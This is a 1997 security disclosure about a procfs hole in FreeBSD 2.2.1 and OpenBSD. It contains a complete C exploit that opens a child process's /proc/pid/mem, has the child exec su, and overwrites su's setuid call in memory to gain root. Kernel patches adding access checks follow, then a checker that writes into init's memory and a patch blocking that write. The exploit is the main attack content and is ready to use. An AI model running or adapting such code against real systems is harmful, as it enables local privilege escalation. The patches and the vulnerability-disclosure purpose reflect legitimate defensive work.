
There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
I have not tested 3.x but I believe it to be vulnerable as well) along
with OpenBSD (not tested by me, but by someone else -- believe it was
2.1-RELEASE although obsd doesnt mount procfs by default like freebsd
does).

The problem is all proc/#/mem access is controlled by the permissions on
the file. This means you can fork() open the childs mem device and then
have the child execute a setuid executable. Once this is done, you can
modify the setuid executables memory -- even segments that are supposed to
be nonwritable can be modified. Enclosed is a simple exploit tested under
FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
for a specific signature. Oh, you need to change your shell to a borneish
shell too, since csh/tcsh will not work when euid != ruid (unless passed
a -b script argument).

BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
not mounted, it is not even in the GENERIC kernel.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

u_char search_code[13] = {
0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
0x31, 0xc0, 0xc3};

main(int argc, char **argv)
{
        int pid;
        int fd;
        char buff[40];
        char *user;

        /* might need to tweak these */
        u_int offset=0x8003000;
        u_int offset_end = 0x8099000;

        if(argc < 2)
        {
                fprintf(stderr, "%s user\n", argv[0]);
                exit(1);
        }
        printf("Demonstration of 4.4BSD procfs hole\n");
        printf("Brian Mitchell <brian@firehouse.net>\n\n");
        printf("after you see \"setuid changed\", enter the pw for the user\n");
        printf("\aBe warned, searching for the setuid() function takes a long time!\n");
        user=argv[1];
        pid = fork();
        switch(pid)
        {
                case -1:
                        perror("fork");
                        exit(1);
                case 0:
                        /* give parent time to open /proc/pid/mem */
                        sleep(3);
                        execl("/usr/bin/su", "su", user, NULL);
                        exit(0);
                default:
                        sprintf(buff, "/proc/%d/mem", pid);
                        fd = open(buff, O_RDWR);
                        if(fd < 0)
                        {
                                perror("open procmem");
                                wait(NULL);
                                exit(1);
                        }
                        /* wait for child to execute suid program */
                        sleep(6);
                        /* stop the child */
                        kill(pid, 17);
                        printf("searching - please be patient...\n");
                        /* search for the setuid code */
                        while(offset != offset_end)
                        {
                                lseek(fd, offset, SEEK_SET);
                                read(fd, buff, 13);
                                if(!bcmp(buff, search_code, 13))
                                {
                                        lseek(fd, offset, SEEK_SET);
                                        write(fd, new_code, 3);
                                        printf("setuid changed (0x%x)\n", offset);
                                        /* sigcont child */
                                        kill(pid, 19);
                                        wait(NULL);
                                        exit(0);
                                }
                                offset++;
                        }
                        printf("setuid not found!!\n");
                        kill(pid, 9);
                        wait(NULL);
                        exit(1);
        }
}







=================================================================================



The following patch should fix the problem with procfs.  These patches
are to -current (well, a version I just checked out about an hour
ago).  I have 2.2-GAMMA diffs as well.

Index: miscfs/procfs/procfs.h
===================================================================
RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v
retrieving revision 1.15
diff -u -r1.15 procfs.h
--- procfs.h    1997/02/22 09:40:26     1.15
+++ procfs.h    1997/08/11 01:42:06
@@ -85,6 +85,18 @@
          (bcmp((s), (cnp)->cn_nameptr, (len)) == 0))

 #define KMEM_GROUP 2
+
+/*
+ * Check to see whether access to target process is allowed
+ * Evaluates to 1 if access is allowed.
+ */
+#define CHECKIO(p1, p2) \
+     ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
+       ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
+       ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
+       ((p2)->p_flag & P_SUGID) == 0) || \
+      (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
+
 /*
  * Format of a directory entry in /proc, ...
  * This must map onto struct dirent (see <dirent.h>)
Index: miscfs/procfs/procfs_mem.c
===================================================================
RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v
retrieving revision 1.26
diff -u -r1.26 procfs_mem.c
--- procfs_mem.c        1997/08/02 14:32:14     1.26
+++ procfs_mem.c        1997/08/11 01:44:26
@@ -277,6 +277,23 @@
        if (uio->uio_resid == 0)
                return (0);

+       /*
+        * XXX
+        * We need to check for KMEM_GROUP because ps is sgid kmem;
+        * not allowing it here causes ps to not work properly.  Arguably,
+        * this is a bug with what ps does.  We only need to do this
+        * for Pmem nodes, and only if it's reading.  This is still not
+        * good, as it may still be possible to grab illicit data if
+        * a process somehow gets to be KMEM_GROUP.  Note that this also
+        * means that KMEM_GROUP can't change without editing procfs.h!
+        * All in all, quite yucky.
+        */
+
+       if (!CHECKIO(curp, p) &&
+           ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) &&
+            (uio->uio_rw != UIO_READ))
+               return EPERM;
+
        return (procfs_rwmem(p, uio));
 }

Index: miscfs/procfs/procfs_regs.c
===================================================================
RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v
retrieving revision 1.7
diff -u -r1.7 procfs_regs.c
--- procfs_regs.c       1997/08/02 14:32:16     1.7
+++ procfs_regs.c       1997/08/11 01:42:06
@@ -60,6 +60,8 @@
        char *kv;
        int kl;

+       if (!CHECKIO(curp, p))
+               return EPERM;
        kl = sizeof(r);
        kv = (char *) &r;

Index: miscfs/procfs/procfs_vnops.c
===================================================================
RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v
retrieving revision 1.30
diff -u -r1.30 procfs_vnops.c
--- procfs_vnops.c      1997/08/02 14:32:20     1.30
+++ procfs_vnops.c      1997/08/11 01:43:41
@@ -127,16 +127,21 @@
        } */ *ap;
 {
        struct pfsnode *pfs = VTOPFS(ap->a_vp);
+       struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
+
+       if (p2 == NULL)
+               return ENOENT;

        switch (pfs->pfs_type) {
        case Pmem:
-               if (PFIND(pfs->pfs_pid) == 0)
-                       return (ENOENT);        /* was ESRCH, jsp */
-
                if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) ||
                    (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE))
                        return (EBUSY);

+               if (!CHECKIO(p1, p2) &&
+                   (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
+                       return EPERM;
+
                if (ap->a_mode & FWRITE)
                        pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);

@@ -194,7 +199,6 @@
                struct proc *a_p;
        } */ *ap;
 {
-
        return (ENOTTY);
 }



-------------------------------------------------------------------------------------



There is a slight procfs hole that could allow a intruder to lower the
securelevel. init's memory is not protected, so you can overwrite
data/instructions in init and possibly lower the securelevel (although
panicing the system is much more likely). Enclosed is a vulnerbility
checker:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

main()
{
        int tqbf=31337;
        int fd;
        int g0nz0;

        if(getuid())
        {
                fprintf(stderr, "this attack needs root\n");
                exit(1);
        }
        fd = open("/proc/1/mem", O_RDWR);
        if(fd < 0)
        {
                fprintf(stderr, "open of /proc/1/mem failed\n");
                exit(2);
        }
        lseek(fd, 0x1000, SEEK_SET);
        g0nz0=write(fd, &tqbf, sizeof(int));
        close(fd);
        if(g0nz0 >= 0)
                fprintf(stderr, "procfs is vulnerable!\n");
        else
                fprintf(stderr, "procfs is not vulnerable!\n");
        printf("returned %d\n", g0nz0);
}

Here is a simple patch, it disallows writes to pid 1's mem node if
securelevel is > 0 (diff is based on 2.2.1 box with the securelevel fix
applied):

*** procfs_mem.c        Sat Sep  6 02:36:39 1997
--- procfs_mem.c.new    Sat Sep  6 02:38:25 1997
***************
*** 316,321 ****
--- 316,325 ----
            !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP &&
              uio->uio_rw == UIO_READ))
                return EPERM;
+
+       /* writing to init memory while securelevel > 0 is bad */
+       if(uio->uio_rw == UIO_WRITE && p->p_pid == 1 && securelevel > 0)
+               return EPERM;

        error = procfs_rwmem(p, uio);

